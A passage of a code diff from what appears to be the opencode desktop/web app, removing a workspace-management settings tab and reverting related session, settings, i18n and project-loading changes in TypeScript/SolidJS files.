-          workspace={workspace}
-          scope={context.sdk.scope}
-          inspectionID={current}
-          inspect={() => inspect(workspace, context)}
-          inspectionMessage={inspectionMessage}
-          onDelete={() => transact(() => remove(workspace, true, context))}
-        />
-      ),
-      releaseConfirmation,
-    )
-  }
-  const removeAll = async (inventory: Workspace[], context: ReturnType<typeof captureDeleteContext>) => {
-    await removeWorkspacesSequentially(inventory, (workspace) => remove(workspace, false, context))
-  }
-  const confirmDeleteAll = () => {
-    if (store.transaction) return
-    const context = captureDeleteContext()
-    const inventory = [...filtered()]
-    const project = projectOptions().find((option) => option.id === selectedProject())?.label ?? selectedProject()
-    setStore("transaction", "confirm")
-    void dialog.push(
-      () => (
-        <DialogDeleteAllWorkspaces
-          count={inventory.length}
-          project={project}
-          onDelete={() => transact(() => removeAll(inventory, context))}
-        />
-      ),
-      releaseConfirmation,
-    )
-  }
-
-  return (
-    <>
-      <div class="settings-v2-tab-header settings-v2-workspaces-header">
-        <div class="settings-v2-tab-header-row">
-          <h2 class="settings-v2-tab-title">{language.t("settings.tab.workspaces")}</h2>
-          <InlineServerSelect />
-        </div>
-      </div>
-
-      <div class="settings-v2-tab-body settings-v2-workspaces">
-        <div class="settings-v2-workspaces-toolbar">
-          <span class="settings-v2-workspaces-count">
-            {language.plural("settings.workspaces.count", filtered().length)}
-          </span>
-          <div class="settings-v2-workspaces-toolbar-actions">
-            <Show when={projects().length > 1}>
-              <MenuV2 placement="bottom-end" gutter={6}>
-                <MenuV2.Trigger class="flex h-6 max-w-48 items-center gap-1 rounded-sm px-2 text-13-medium hover:bg-v2-overlay-simple-overlay-hover focus-visible:bg-v2-overlay-simple-overlay-hover focus-visible:outline-none data-[expanded]:bg-v2-overlay-simple-overlay-pressed">
-                  <span class="min-w-0 truncate">
-                    {projectOptions().find((option) => option.id === selectedProject())?.label}
-                  </span>
-                  <Icon name="chevron-down" size="small" class="shrink-0 text-v2-icon-icon-muted" />
-                </MenuV2.Trigger>
-                <MenuV2.Portal>
-                  <MenuV2.Content>
-                    <For each={projectOptions()}>
-                      {(option) => (
-                        <MenuV2.Item onSelect={() => setStore("project", option.id)}>
-                          <span class="min-w-0 flex-1 truncate">{option.label}</span>
-                          <Show when={selectedProject() === option.id}>
-                            <Icon name="check" size="small" class="shrink-0" />
-                          </Show>
-                        </MenuV2.Item>
-                      )}
-                    </For>
-                  </MenuV2.Content>
-                </MenuV2.Portal>
-              </MenuV2>
-            </Show>
-            <Show when={filtered().length > 0}>
-              <MenuV2 placement="bottom-end" gutter={4}>
-                <MenuV2.Trigger
-                  as={IconButtonV2}
-                  type="button"
-                  variant="ghost-muted"
-                  size="small"
-                  aria-label={language.t("common.moreOptions")}
-                  disabled={!!store.transaction}
-                  icon={<Icon name="outline-dots" size="small" />}
-                />
-                <MenuV2.Portal>
-                  <MenuV2.Content>
-                    <MenuV2.Item onSelect={confirmDeleteAll}>
-                      <span class="settings-v2-workspaces-delete-all">
-                        {language.t("settings.workspaces.deleteAll")}
-                      </span>
-                    </MenuV2.Item>
-                  </MenuV2.Content>
-                </MenuV2.Portal>
-              </MenuV2>
-            </Show>
-          </div>
-        </div>
-
-        <div class="settings-v2-workspaces-inventory">
-          <Show
-            when={filtered().length > 0}
-            fallback={<div class="settings-v2-workspaces-empty">{language.t("settings.workspaces.empty")}</div>}
-          >
-            <SettingsListV2>
-              <For each={filtered()}>
-                {(workspace) => {
-                  const linked = () => workspaceSessions(workspace)
-                  return (
-                    <div class="settings-v2-workspaces-row">
-                      <div class="settings-v2-workspaces-row-header">
-                        <div class="settings-v2-workspaces-copy">
-                          <div class="settings-v2-workspaces-main">
-                            <TooltipV2
-                              value={workspace.directory}
-                              placement="top-start"
-                              contentClass="max-w-[calc(100vw-32px)] break-all"
-                            >
-                              <span tabIndex={0} aria-label={workspace.directory} class="settings-v2-workspaces-path">
-                                {workspace.directory}
-                              </span>
-                            </TooltipV2>
-                          </div>
-                          <span class="settings-v2-workspaces-meta">{sessionCount(workspace)}</span>
-                        </div>
-                        <div class="settings-v2-workspaces-row-actions">
-                          <Show when={lastActive(workspace)}>
-                            {(value) => (
-                              <TooltipV2
-                                value={language.t("settings.workspaces.lastActiveSession")}
-                                placement="top-end"
-                              >
-                                <span tabIndex={0} class="settings-v2-workspaces-active">
-                                  {value()}
-                                </span>
-                              </TooltipV2>
-                            )}
-                          </Show>
-                          <IconButtonV2
-                            type="button"
-                            variant="ghost-muted"
-                            size="small"
-                            aria-label={language.t("workspace.delete.confirm", {
-                              name: getFilename(workspace.directory),
-                            })}
-                            disabled={!!store.transaction}
-                            icon={<Icon name="trash" size="small" />}
-                            onClick={() => confirmDelete(workspace)}
-                          />
-                        </div>
-                      </div>
-                      <Show when={linked().length > 0}>
-                        <div class="settings-v2-workspaces-sessions">
-                          <For each={linked()}>
-                            {(session) => (
-                              <div class="settings-v2-workspaces-session">
-                                <span>{session.title}</span>
-                                <Show when={sessionTime(session)}>
-                                  {(time) => <span class="settings-v2-workspaces-session-time">{time()}</span>}
-                                </Show>
-                              </div>
-                            )}
-                          </For>
-                        </div>
-                      </Show>
-                    </div>
-                  )
-                }}
-              </For>
-            </SettingsListV2>
-          </Show>
-        </div>
-      </div>
-    </>
-  )
-}
-
-function DialogDeleteAllWorkspaces(props: { count: number; project: string; onDelete: () => Promise<void> }) {
-  const dialog = useDialog()
-  const language = useLanguage()
-  const remove = () => {
-    const deleting = props.onDelete()
-    dialog.close()
-    void deleting
-  }
-
-  return (
-    <Dialog fit>
-      <DialogHeader>
-        <DialogTitleGroup
-          title={language.t("settings.workspaces.deleteAll")}
-          description={
-            <>
-              {language.t("settings.workspaces.deleteAll.confirm", { count: props.count })}
-              <br />
-              {language.t("settings.workspaces.deleteAll.warning", { count: props.count, project: props.project })}
-            </>
-          }
-        />
-      </DialogHeader>
-      <DialogFooter>
-        <ButtonV2 type="button" variant="neutral" onClick={() => dialog.close()}>
-          {language.t("common.cancel")}
-        </ButtonV2>
-        <ButtonV2 type="button" variant="danger" onClick={remove}>
-          {language.t("settings.workspaces.deleteAll")}
-        </ButtonV2>
-      </DialogFooter>
-    </Dialog>
-  )
-}
-
-function DialogDeleteWorkspace(props: {
-  workspace: Workspace
-  scope: ServerScope
-  inspectionID: number
-  inspect: () => Promise<{ result: WorkspaceDeleteInspection; sessions: SessionInfo[] }>
-  inspectionMessage: (result: WorkspaceDeleteInspection) => string
-  onDelete: () => Promise<void>
-}) {
-  const dialog = useDialog()
-  const language = useLanguage()
-  const status = useQuery(() => ({
-    queryKey: [props.scope, pathKey(props.workspace.directory), "workspace-delete-status", props.inspectionID] as const,
-    queryFn: props.inspect,
-    staleTime: 0,
-  }))
-  const description = () => {
-    if (status.isPending) return language.t("workspace.status.checking")
-    if (status.isError) return language.t("workspace.status.error")
-    return props.inspectionMessage(status.data?.result ?? "unknown")
-  }
-  const remove = () => {
-    const deleting = props.onDelete()
-    dialog.close()
-    void deleting
-  }
-
-  return (
-    <Dialog fit>
-      <DialogHeader>
-        <DialogTitleGroup
-          title={language.t("workspace.delete.title")}
-          description={
-            <>
-              {language.t("workspace.delete.confirm", { name: getFilename(props.workspace.directory) })}
-              <br />
-              <code class="max-w-full rounded-[4px] bg-[color-mix(in_oklch,var(--v2-text-text-base)_8%,transparent)] px-1 py-0.5 font-mono text-xs font-medium leading-4 text-v2-text-text-base break-all">
-                {props.workspace.directory}
-              </code>
-              <br />
-              {language.t("settings.workspaces.delete.warning")}
-              <br />
-              {description()}
-            </>
-          }
-        />
-      </DialogHeader>
-      <DialogFooter>
-        <ButtonV2 type="button" variant="neutral" onClick={() => dialog.close()}>
-          {language.t("common.cancel")}
-        </ButtonV2>
-        <ButtonV2
-          type="button"
-          variant="danger"
-          disabled={
-            status.isPending || status.isError || (status.data?.result !== "safe" && status.data?.result !== "dirty")
-          }
-          onClick={remove}
-        >
-          {language.t("workspace.delete.button")}
-        </ButtonV2>
-      </DialogFooter>
-    </Dialog>
-  )
-}

packages/app/src/context/global-sync/bootstrap.test.ts

@@ -106,26 +106,16 @@ describe("query keys", () => {
   })
 
   test("loads projects from the current endpoint", async () => {
-    const calls: string[] = []
     const api = {
       list: async () => [
         { id: "b", worktree: "/b", time: { created: 1, updated: 1 }, sandboxes: [] },
         { id: "a", worktree: "/a", time: { created: 1, updated: 1 }, sandboxes: [] },
       ],
-      directories: async ({ projectID }: { projectID: string }) => {
-        calls.push(projectID)
-        return [
-          { directory: `/${projectID}` },
-          { directory: `/${projectID}/copy`, strategy: "git_worktree" },
-        ]
-      },
     } as unknown as ProjectApi
 
     const result = await new QueryClient().fetchQuery(loadProjectsQuery(ServerScope.local, api))
 
     expect(result.map((project) => project.id)).toEqual(["a", "b"])
-    expect(result.map((project) => project.sandboxes)).toEqual([["/a/copy"], ["/b/copy"]])
-    expect(calls.toSorted()).toEqual(["a", "b"])
   })
 
   test("loads references from the current location-scoped endpoint", async () => {

packages/app/src/context/global-sync/bootstrap.ts

@@ -105,7 +105,6 @@ export const loadGlobalConfigQuery = (scope: ServerScope) =>
 type ProjectApi = {
   readonly list: () => Promise<ProjectListOutput>
   readonly current: (input?: ProjectCurrentInput) => Promise<ProjectCurrentOutput>
-  readonly directories: ServerApi["project"]["directories"]
 }
 type LocationApi = { readonly get: (input?: LocationGetInput) => Promise<LocationGetOutput> }
 
@@ -119,16 +118,10 @@ export const loadProjectsQuery = (scope: ServerScope, api: ProjectApi) =>
     queryKey: [scope, "project"],
     queryFn: () =>
       retry(() =>
-        api.list().then(async (projects) => {
-          return (await Promise.all(
-            projects.filter((project) => !!project?.id).map(async (project) => {
-              const directories = await api.directories({ projectID: project.id })
-              return normalizeProjectInfo({
-                ...project,
-                sandboxes: directories.filter((item) => item.strategy !== undefined).map((item) => item.directory),
-              })
-            }),
-          ))
+        api.list().then((projects) => {
+          return projects
+            .filter((p) => !!p?.id)
+            .map(normalizeProjectInfo)
             .filter((p) => !!p.worktree && !p.worktree.includes("opencode-test"))
             .slice()
             .sort((a, b) => cmp(a.id, b.id))

packages/app/src/context/language.tsx

@@ -2,12 +2,7 @@ import * as i18n from "@solid-primitives/i18n"
 import { createEffect, createMemo, createResource } from "solid-js"
 import { createStore } from "solid-js/store"
 import { createSimpleContext } from "@opencode-ai/ui/context"
-import {
-  pluralCategory,
-  type UiI18nPluralLookupKey,
-  type UiI18nPluralKey,
-  type UiPluralCategory,
-} from "@opencode-ai/ui/context/i18n"
+import { pluralCategory, type UiI18nPluralKey } from "@opencode-ai/ui/context/i18n"
 import { Persist, persisted } from "@/utils/persist"
 import { dict as en } from "@/i18n/en"
 import { dict as uiEn } from "@opencode-ai/ui/i18n/en"
@@ -33,17 +28,13 @@ function localeDirection(locale: Locale): Direction {
 
 type RawDictionary = typeof en & typeof uiEn
 type Dictionary = i18n.Flatten<RawDictionary>
-type AppI18nKey = Extract<keyof typeof en, string>
-type AppI18nPluralKey = {
-  [Key in AppI18nKey]: Key extends `${infer Base}.other` ? (`${Base}.one` extends AppI18nKey ? Base : never) : never
-}[AppI18nKey]
-type PluralKey = AppI18nPluralKey | UiI18nPluralKey
-type AppI18nPluralLookupKey = `${AppI18nPluralKey}.${UiPluralCategory}`
-type TranslationKey<Key extends Extract<keyof Dictionary, string>> = Key extends
-  | AppI18nPluralLookupKey
-  | UiI18nPluralLookupKey
-  ? never
-  : Key
+type PluralKey =
+  | UiI18nPluralKey
+  | "session.question.pending"
+  | "session.followupDock.summary"
+  | "session.revertDock.summary"
+  | "session.background.shell"
+  | "session.background.subagent"
 type Source = { dict: Record<string, string> }
 
 function cookie(locale: Locale) {
@@ -200,25 +191,18 @@ export const { use: useLanguage, provider: LanguageProvider } = createSimpleCont
       initialValue: dicts.get(initial) ?? base,
     })
 
-    const t = i18n.translator(() => dict() ?? base, i18n.resolveTemplate) as <
-      Key extends Extract<keyof Dictionary, string>,
-    >(
-      key: TranslationKey<Key>,
+    const t = i18n.translator(() => dict() ?? base, i18n.resolveTemplate) as (
+      key: keyof Dictionary,
       params?: Record<string, string | number | boolean>,
     ) => string
 
-    const pluralForm = (
-      key: PluralKey,
-      category: UiPluralCategory,
-      params?: Record<string, string | number | boolean>,
-    ) => {
+    const plural = (key: PluralKey, count: number, params?: Record<string, string | number | boolean>) => {
+      const category = pluralCategory(intl(), count)
       const current = (dict.loading ? base : (dict() ?? base)) as Record<string, string>
       const candidate = `${key}.${category}`
       const fallback = `${key}.other`
-      return i18n.resolveTemplate(current[candidate] ?? current[fallback] ?? fallback, params)
+      return i18n.resolveTemplate(current[candidate] ?? current[fallback] ?? fallback, { ...params, count })
     }
-    const plural = (key: PluralKey, count: number, params?: Record<string, string | number | boolean>) =>
-      pluralForm(key, pluralCategory(intl(), count), { ...params, count })
 
     const label = (value: Locale) => DESKTOP_NATIVE_LABELS[value]
 
@@ -249,7 +233,6 @@ export const { use: useLanguage, provider: LanguageProvider } = createSimpleCont
       label,
       t,
       plural,
-      pluralForm,
       setLocale(next: Locale) {
         setStore("locale", normalizeLocale(next))
       },

packages/app/src/context/prompt.tsx

@@ -8,7 +8,6 @@ import { useServerSDK } from "./server-sdk"
 import { useSettings } from "./settings"
 import { useSDK } from "./sdk"
 import { useTabs, type Tab } from "./tabs"
-import type { ServerScope } from "@/utils/server-scope"
 import {
   createPromptReady,
   createPromptSession,
@@ -105,13 +104,11 @@ export const { use: usePrompt, provider: PromptProvider } = createSimpleContext(
       params.serverKey ? requireServerKey(params.serverKey) : ServerConnection.key(serverSDK().server)
     const scope = (): PromptScope =>
       search.draftId ? { draftID: search.draftId } : { dir: base64Encode(sdk().directory), id: params.id }
-    const load = (scope: PromptScope, target?: { server?: ServerConnection.Key; scope: ServerScope }) => {
-      const current = settings.general.newLayoutDesigns()
-        ? selectPromptTab(tabs.store, scope, target?.server ?? serverKey())
-        : undefined
-      if (current) return createTabPromptState(tabs, current, target?.scope ?? serverSDK().scope, scope)
+    const load = (scope: PromptScope) => {
+      const current = settings.general.newLayoutDesigns() ? selectPromptTab(tabs.store, scope, serverKey()) : undefined
+      if (current) return createTabPromptState(tabs, current, serverSDK().scope, scope)
 
-      const key = target ? `${target.scope}:${scopeKey(scope)}` : scopeKey(scope)
+      const key = scopeKey(scope)
       const existing = cache.get(key)
       if (existing) {
         cache.delete(key)
@@ -121,7 +118,7 @@ export const { use: usePrompt, provider: PromptProvider } = createSimpleContext(
 
       const entry = createRoot(
         (dispose) => ({
-          value: createPromptSession(target?.scope ?? serverSDK().scope, scope),
+          value: createPromptSession(serverSDK().scope, scope),
           dispose,
         }),
         owner,
@@ -133,8 +130,7 @@ export const { use: usePrompt, provider: PromptProvider } = createSimpleContext(
     }
 
     const session = createMemo(() => load(scope()))
-    const pick = (scope?: PromptScope, target?: { server?: ServerConnection.Key; scope: ServerScope }) =>
-      scope ? load(scope, target) : session()
+    const pick = (scope?: PromptScope) => (scope ? load(scope) : session())
     const ready = createPromptReady(session)
 
     const withSuspense = <T,>(cb: () => T): (() => T) =>
@@ -150,8 +146,7 @@ export const { use: usePrompt, provider: PromptProvider } = createSimpleContext(
 
     return {
       ready,
-      capture: (scope?: PromptScope, target?: { server?: ServerConnection.Key; scope: ServerScope }) =>
-        pick(scope, target).capture(),
+      capture: (scope?: PromptScope) => pick(scope).capture(),
       current: withSuspense(() => session().current()),
       cursor: withSuspense(() => session().cursor()),
       dirty: withSuspense(() => session().dirty()),

packages/app/src/context/server-sdk.test.ts

@@ -72,7 +72,7 @@ describe("current event buffering", () => {
         type: "session.tool.input.delta",
         location: { directory: "/repo" },
         data: { sessionID: "ses", assistantMessageID: "msg", id, delta },
-      } satisfies Extract<OpenCodeEvent, { type: "session.tool.input.delta" }>)
+      } as OpenCodeEvent)
     const result = coalesceServerEvents([
       { directory: "/repo", payload: current("evt_1", "call_1", "{") },
       { directory: "/repo", payload: current("evt_2", "call_1", "}") },

packages/app/src/context/server-sdk.tsx

@@ -154,9 +154,7 @@ function createServerSdkContextBase(server: ServerConnection.Any, scope: ServerS
     last = Date.now()
     const output = coalesceServerEvents(events)
     batch(() => {
-      output.forEach((event) => {
-        emitter.emit(event.directory, event.payload)
-      })
+      output.forEach((event) => emitter.emit(event.directory, event.payload))
     })
 
     buffer.length = 0

packages/app/src/context/server-session.test.ts

@@ -541,23 +541,6 @@ describe("server session", () => {
     expect(ctx.store.lineage.peek("child")).toEqual(result)
   })
 
-  test("applies moved session locations without evicting cached state", () => {
-    const current = { ...session("child"), location: { directory: "/repo/worktree" } }
-    const ctx = setup({ child: current })
-    ctx.store.remember(current)
-
-    ctx.store.applyV2({
-      id: "evt_moved",
-      created: 2,
-      type: "session.moved",
-      durable: { aggregateID: "child", seq: 1, version: 1 },
-      location: current.location,
-      data: { sessionID: "child", location: { directory: "/repo" }, projectID: "project", subpath: "packages/app" },
-    } satisfies Extract<OpenCodeEvent, { type: "session.moved" }>)
-
-    expect(ctx.store.get("child")).toMatchObject({ location: { directory: "/repo" }, subpath: "packages/app" })
-  })
-
   test("loads session content through the server client", async () => {
     const ctx = setup({ root: session("root") })
 

packages/app/src/context/server-session.ts

@@ -24,7 +24,7 @@ type MessageApi = ServerApi["message"]
 const cmp = (a: string, b: string) => (a < b ? -1 : a > b ? 1 : 0)
 const SKIP_PARTS = new Set(["patch", "step-start", "step-finish"])
 const initialMessagePageSize = 20
-const historyMessagePageSize = 50
+const historyMessagePageSize = 200
 const sessionInfoLimit = 2_048
 const emptyIDs: ReadonlySet<string> = new Set()
 
@@ -53,12 +53,6 @@ function projectMessageSource(message: Message): SessionMessageInfo[] {
   ]
 }
 
-function yieldToMain() {
-  const scheduler = (globalThis as { scheduler?: { yield: () => Promise<void> } }).scheduler
-  if (scheduler) return scheduler.yield()
-  return new Promise<void>((resolve) => setTimeout(resolve, 0))
-}
-
 function needsOlderTurnRoot(source: readonly SessionMessageInfo[]) {
   const boundary = source.find(
     (message) =>
@@ -263,13 +257,7 @@ export function createServerSession(
   const indexProjectedMessage = (message: Message) => {
     const current = data.session_message[message.sessionID] ?? []
     if (current.some((item) => item.id === message.id)) return
-    const projected = projectMessageSource(message)
-    const projectedIDs = new Set(projected.map((item) => item.id))
-    setData(
-      "session_message",
-      message.sessionID,
-      reconcile([...current.filter((item) => !projectedIDs.has(item.id)), ...projected]),
-    )
+    setData("session_message", message.sessionID, reconcile([...current, ...projectMessageSource(message)]))
   }
 
   const remember = (session: SessionInfo) => {
@@ -319,19 +307,17 @@ export function createServerSession(
     return session
   }
 
-  const resolve = (sessionID: string, options?: { force?: boolean; signal?: AbortSignal }) => {
+  const resolve = (sessionID: string, options?: { force?: boolean }) => {
     const cached = data.info[sessionID]
     if (cached && !options?.force) return Promise.resolve(cached)
-    const pending = options?.signal ? undefined : requests.get(sessionID)
+    const pending = requests.get(sessionID)
     if (pending) return pending
     const active = generation(sessionID)
-    const request = sessionApi.get({ sessionID }, { signal: options?.signal })
+    const request = sessionApi.get({ sessionID })
     const resolved = request.then((result) => {
-      if (options?.signal?.aborted) return result
       if (generations.get(sessionID) !== active) return result
       return remember(result)
     })
-    if (options?.signal) return resolved
     requests.set(sessionID, resolved)
     const cleanup = () => {
       if (requests.get(sessionID) === resolved) requests.delete(sessionID)
@@ -567,7 +553,6 @@ export function createServerSession(
       if (!response.data.length) break
     }
     const response = pages.at(-1)!
-    await yieldToMain()
     const source = pages.flatMap((page) => page.data).toReversed()
     const normalized = normalizeSessionMessages(sessionID, source)
     return {
@@ -1461,7 +1446,6 @@ export function createServerSession(
         if (items) items.set(input.message.id, { ...input, parts, confirmedParts: [] })
         if (!items)
           optimistic.set(input.sessionID, new Map([[input.message.id, { ...input, parts, confirmedParts: [] }]]))
-        indexProjectedMessage(input.message)
         setData("message", input.sessionID, (messages = []) => merge(messages, [input.message]).sort(compareMessages))
         setData(
           "part_text_accum_delta",
@@ -1495,9 +1479,6 @@ export function createServerSession(
           )
           return
         }
-        setData("session_message", input.sessionID, (messages) =>
-          messages?.filter((message) => message.id !== input.messageID),
-        )
         setData("message", input.sessionID, (messages) => messages?.filter((message) => message.id !== input.messageID))
         setData(produce((draft) => deleteMessageParts(draft, input.messageID)))
       },

packages/app/src/context/server-sync.test.ts

@@ -188,18 +188,6 @@ function sessionInfo(id: string) {
   } as SessionInfo
 }
 
-function sessionAt(directory: string): SessionInfo {
-  return {
-    id: "session",
-    projectID: "project",
-    location: { directory },
-    title: "Session",
-    cost: 0,
-    tokens: { input: 0, output: 0, reasoning: 0, cache: { read: 0, write: 0 } },
-    time: { created: 1, updated: 1 },
-  }
-}
-
 describe("estimateRootSessionTotal", () => {
   test("keeps exact total for full fetches", () => {
     expect(estimateRootSessionTotal({ count: 42, limit: 10, limited: false })).toBe(42)

packages/app/src/context/server-sync.tsx

@@ -58,17 +58,6 @@ import { createCatalogSync } from "./server-sync/catalog"
 import { createConnectionSync } from "./server-sync/connection"
 import { usePlatform } from "./platform"
 
-export function shouldRefreshWorkspaceSessions(event: ServerEvent) {
-  const type = event.current?.type ?? event.type
-  return (
-    type === "session.created" ||
-    type === "session.deleted" ||
-    type === "session.moved" ||
-    type === "session.renamed" ||
-    type === "session.forked"
-  )
-}
-
 type GlobalStore = {
   ready: boolean
   error?: InitError
@@ -564,7 +553,12 @@ export function createServerSyncContextInner(serverSDK: ServerSDK) {
   }
   const toDirectoryEvent = (event: ServerEvent) => {
     if (event.current?.type === "session.created") return
-    if (event.current?.type !== "session.renamed" && event.current?.type !== "session.usage.updated") return event
+    if (
+      event.current?.type !== "session.renamed" &&
+      event.current?.type !== "session.moved" &&
+      event.current?.type !== "session.usage.updated"
+    )
+      return event
     const info = session.get(event.current.data.sessionID)
     if (info) return { type: "session.updated", properties: { info } }
     return event
@@ -582,16 +576,6 @@ export function createServerSyncContextInner(serverSDK: ServerSDK) {
     markSessionListChanged(event, directory, previousDirectory)
     if (event.current) session.applyV2(event.current)
     session.apply(event)
-    if (event.current?.type === "session.moved") {
-      const info = session.get(event.current.data.sessionID)
-      if (info) indexSession(info)
-    }
-    if (shouldRefreshWorkspaceSessions(event)) {
-      void queryClient.invalidateQueries({
-        predicate: (query) =>
-          query.queryKey[0] === serverSDK.scope && query.queryKey[2] === "settings-workspace-sessions",
-      })
-    }
     if (event.current?.type === "session.created")
       void session
         .resolve(event.current.data.sessionID, { force: true })
@@ -650,6 +634,10 @@ export function createServerSyncContextInner(serverSDK: ServerSDK) {
       return
     }
 
+    if (event.current?.type === "session.moved") {
+      const info = session.get(event.current.data.sessionID)
+      if (info) indexSession(info)
+    }
     if (event.current?.type === "session.forked")
       void session
         .resolve(event.current.data.sessionID, { force: true })

packages/app/src/context/settings.tsx

@@ -2,10 +2,6 @@ import { createStore, reconcile } from "solid-js/store"
 import { createEffect, createMemo } from "solid-js"
 import { createSimpleContext } from "@opencode-ai/ui/context"
 import { persisted } from "@/utils/persist"
-import { ScopedKey, type ServerScope } from "@/utils/server-scope"
-
-export type WorkspaceDefaultDestination = "last-used" | "local" | "new"
-export type WorkspaceLastUsed = "local" | "workspace"
 
 export interface NotificationSettings {
   agent: boolean
@@ -48,10 +44,6 @@ export interface Settings {
   permissions: {
     autoApprove: boolean
   }
-  workspaces: {
-    defaultDestination: WorkspaceDefaultDestination
-    lastUsed: Record<string, WorkspaceLastUsed>
-  }
   notifications: NotificationSettings
   sounds: SoundSettings
 }
@@ -134,10 +126,6 @@ const defaultSettings: Settings = {
   permissions: {
     autoApprove: false,
   },
-  workspaces: {
-    defaultDestination: "last-used",
-    lastUsed: {},
-  },
   notifications: {
     agent: true,
     permissions: true,
@@ -303,29 +291,6 @@ export const { use: useSettings, provider: SettingsProvider } = createSimpleCont
           setStore("permissions", "autoApprove", value)
         },
       },
-      workspaces: {
-        defaultDestination: withFallback(
-          () => store.workspaces?.defaultDestination,
-          defaultSettings.workspaces.defaultDestination,
-        ),
-        setDefaultDestination(value: WorkspaceDefaultDestination) {
-          setStore("workspaces", (current) => ({
-            ...defaultSettings.workspaces,
-            ...current,
-            defaultDestination: value,
-          }))
-        },
-        lastUsed(scope: ServerScope, projectID: string) {
-          return store.workspaces?.lastUsed?.[ScopedKey.from(scope, projectID)]
-        },
-        setLastUsed(scope: ServerScope, projectID: string, value: WorkspaceLastUsed) {
-          setStore("workspaces", (current) => ({
-            ...defaultSettings.workspaces,
-            ...current,
-            lastUsed: { ...current?.lastUsed, [ScopedKey.from(scope, projectID)]: value },
-          }))
-        },
-      },
       notifications: {
         agent: withFallback(() => store.notifications?.agent, defaultSettings.notifications.agent),
         setAgent(value: boolean) {

packages/app/src/context/tabs.tsx

@@ -177,11 +177,6 @@ export const { use: useTabs, provider: TabsProvider } = createSimpleContext({
     }
 
     const actions = {
-      active() {
-        if (location.pathname === "/") return
-        const key = recentKey()
-        return store.find((tab) => tabKey(tab) === key)
-      },
       addSessionTab: (tab: Omit<SessionTab, "type">) => {
         const next = { type: "session" as const, ...tab }
         const existing = store.find((item) => tabKey(item) === tabKey(next))

packages/app/src/i18n/en.ts

@@ -1166,46 +1166,6 @@ export const dict = {
   "session.delete.button": "Delete session",
 
   "workspace.new": "New workspace",
-  "common.viewAll": "View all",
-  "session.new.workspace.local.tooltip": "Use current checkout",
-  "session.new.workspace.new.tooltip": "Create isolated checkout",
-  "session.new.workspace.fromBranch": "from {{branch}}",
-  "session.new.workspace.trigger.tooltip": "Select where to run session",
-  "session.new.workspace.search.placeholder": "Search workspaces",
-  "settings.tab.workspaces": "Workspaces",
-  "settings.workspaces.filter.all": "All projects",
-  "settings.workspaces.empty": "No workspaces",
-  "settings.workspaces.count.one": "{{count}} workspace",
-  "settings.workspaces.count.other": "{{count}} workspaces",
-  "settings.workspaces.sessions.one": "{{count}} session in {{project}}",
-  "settings.workspaces.sessions.other": "{{count}} sessions in {{project}}",
-  "settings.workspaces.lastActiveSession": "Last active session",
-  "settings.workspaces.deleteAll": "Delete all workspaces",
-  "settings.workspaces.deleteAll.confirm": "Delete all {{count}} workspaces?",
-  "settings.workspaces.delete.warning":
-    "The workspace directory and branch will be permanently removed. Deletion proceeds only if it is clean, inactive, and has no linked sessions.",
-  "settings.workspaces.deleteAll.warning":
-    "The {{count}} selected workspaces in {{project}} will be permanently removed only if each is clean, inactive, and has no linked sessions.",
-  "settings.workspaces.delete.blocked.active": "The active workspace cannot be deleted.",
-  "settings.workspaces.delete.blocked.linked": "This workspace has linked sessions and cannot be deleted.",
-  "settings.workspaces.default.title": "Default environment",
-  "settings.workspaces.default.description": "Choose where new sessions start",
-  "settings.workspaces.default.lastUsed": "Last used per project",
-  "settings.workspaces.default.local": "Local directory",
-  "settings.workspaces.default.new": "New workspace",
-  "workspace.move.title": "Move to workspace",
-  "workspace.move.menu.title": "Move session to",
-  "workspace.move.failed": "Failed to move session",
-  "workspace.lifecycle.creating": "Creating workspace",
-  "workspace.lifecycle.created": "Workspace created",
-  "workspace.lifecycle.starting": "Starting session",
-  "workspace.onboarding.title": "Isolate sessions with workspaces",
-  "workspace.onboarding.description": "Each gets its own checkout, so nothing interferes with your local repository",
-  "workspace.lifecycle.moving": "Moving to workspace",
-  "workspace.lifecycle.set": "Workspace set",
-  "session.summary.title": "Session details",
-  "session.summary.noBranch": "No branch",
-  "session.summary.basedOn": "Based on {{branch}}",
   "workspace.type.local": "local",
   "workspace.type.sandbox": "sandbox",
   "workspace.create.failed.title": "Failed to create workspace",

packages/app/src/index.css

@@ -327,9 +327,4 @@
       animation-range: 0 0.1px;
     }
   }
-
-  body[data-new-layout] [data-slot="session-turn-diffs-header"] {
-    height: 24px;
-    padding-block: 0;
-  }
 }

packages/app/src/index.ts

@@ -28,4 +28,3 @@ export {
 } from "./wsl/types"
 export { ServerConnection } from "./context/server"
 export { createDraftStore, type DraftStore } from "./utils/draft-store"
-export { preloadSessionRoute } from "./pages/session-lazy"

packages/app/src/pages/home.tsx

@@ -1,5 +1,4 @@
 import { ScrollView } from "@opencode-ai/ui/scroll-view"
-import { onCleanup, onMount } from "solid-js"
 import { createHomeController } from "./home/home-controller"
 import { createHomeProjectsController } from "./home/home-projects-controller"
 import { HomeUtilityNav } from "./home/home-projects-view"
@@ -8,23 +7,8 @@ import { createHomeScrollController } from "./home/home-scroll-controller"
 import { createHomeSessionSearchController } from "./home/home-session-search-controller"
 import { createHomeSessionsController } from "./home/home-sessions-controller"
 import { HomeSessions } from "./home/home-sessions"
-import { preloadSessionRoute } from "./session-lazy"
 
 export function Home() {
-  onMount(() => {
-    let idle: number | undefined
-    const timer = setTimeout(() => {
-      if ("requestIdleCallback" in window) {
-        idle = requestIdleCallback(() => void preloadSessionRoute(), { timeout: 3_000 })
-        return
-      }
-      void preloadSessionRoute()
-    }, 1_500)
-    onCleanup(() => {
-      clearTimeout(timer)
-      if (idle !== undefined) cancelIdleCallback(idle)
-    })
-  })
   const home = createHomeController()
   const projects = createHomeProjectsController(home)
   const sessions = createHomeSessionsController(home)

packages/app/src/pages/new-session.tsx

@@ -1,10 +1,7 @@
 import { createPromptProjectController } from "@/components/prompt-project-selector"
-import { useSettingsDialog } from "@/components/settings-dialog"
 import { useTitlebarRightMount } from "@/components/titlebar"
 import { useSettings } from "@/context/settings"
-import { useTabs, type DraftTab } from "@/context/tabs"
-import { useSearchParams } from "@solidjs/router"
-import { createEffect, createMemo, createResource } from "solid-js"
+import { createEffect, createResource } from "solid-js"
 import { createNewSessionDraftController } from "./new-session/new-session-draft-controller"
 import { NewSessionStatus, NewSessionView } from "./new-session/new-session-view"
 import { createNewSessionWorkspaceController } from "./new-session/new-session-workspace-controller"
@@ -14,23 +11,10 @@ import { useNewSessionCommands } from "./new-session/use-new-session-commands"
 export default function NewSessionPage() {
   const settings = useSettings()
   const rightMount = useTitlebarRightMount()
-  const [search] = useSearchParams<{ draftId?: string }>()
